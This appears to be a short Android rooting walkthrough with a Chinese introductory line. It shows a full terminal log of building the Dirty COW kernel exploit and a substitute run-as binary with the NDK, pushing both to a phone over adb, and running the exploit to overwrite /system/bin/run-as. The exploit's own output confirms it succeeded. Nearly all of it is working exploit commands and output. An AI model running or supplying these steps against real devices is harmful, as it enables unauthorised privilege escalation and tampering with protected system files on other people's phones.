用 ndk 编译完成, push 到手机使用 adb shell 执行:
$ make root
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./
Android.mk APP_PLATFORM=android-21
[arm64-v8a] Install : dirtycow => libs/arm64-v8a/dirtycow
[arm64-v8a] Install : run-as => libs/arm64-v8a/run-as
[x86_64] Install : dirtycow => libs/x86_64/dirtycow
[x86_64] Install : run-as => libs/x86_64/run-as
[mips64] Install : dirtycow => libs/mips64/dirtycow
[mips64] Install : run-as => libs/mips64/run-as
[armeabi-v7a] Install : dirtycow => libs/armeabi-v7a/dirtycow
[armeabi-v7a] Compile thumb : run-as <= run-as.c
[armeabi-v7a] Executable : run-as
[armeabi-v7a] Install : run-as => libs/armeabi-v7a/run-as
[armeabi] Compile thumb : dirtycow <= dirtycow.c
[armeabi] Executable : dirtycow
[armeabi] Install : dirtycow => libs/armeabi/dirtycow
[armeabi] Compile thumb : run-as <= run-as.c
[armeabi] Executable : run-as
[armeabi] Install : run-as => libs/armeabi/run-as
[x86] Compile : dirtycow <= dirtycow.c
[x86] Executable : dirtycow
[x86] Install : dirtycow => libs/x86/dirtycow
[x86] Compile : run-as <= run-as.c
[x86] Executable : run-as
[x86] Install : run-as => libs/x86/run-as
[mips] Compile : dirtycow <= dirtycow.c
[mips] Executable : dirtycow
[mips] Install : dirtycow => libs/mips/dirtycow
[mips] Compile : run-as <= run-as.c
[mips] Executable : run-as
[mips] Install : run-as => libs/mips/run-as
adb push libs/armeabi/dirtycow /data/local/tmp/dirtycow
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
[100%] /data/local/tmp/dirtycow
adb push libs/armeabi/run-as /data/local/tmp/run-as
[100%] /data/local/tmp/run-as
adb shell 'chmod 777 /data/local/tmp/run-as'
adb shell '/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as'
warning: new file size (13776) and file old size (14192) differ
size 14192
[*] mmap 0xf707c000
[*] exploit (patch)
[*] currently 0xf707c000=464c457f
[*] madvise = 0xf707c000 14192
[*] madvise = 0 1048576
[*] /proc/self/mem -1048576 1048576
[*] exploited 0xf707c000=464c457f
adb shell /system/bin/run-as
run-as: Usage:
run-as <package-name> [--user <uid>] <command> [<args>]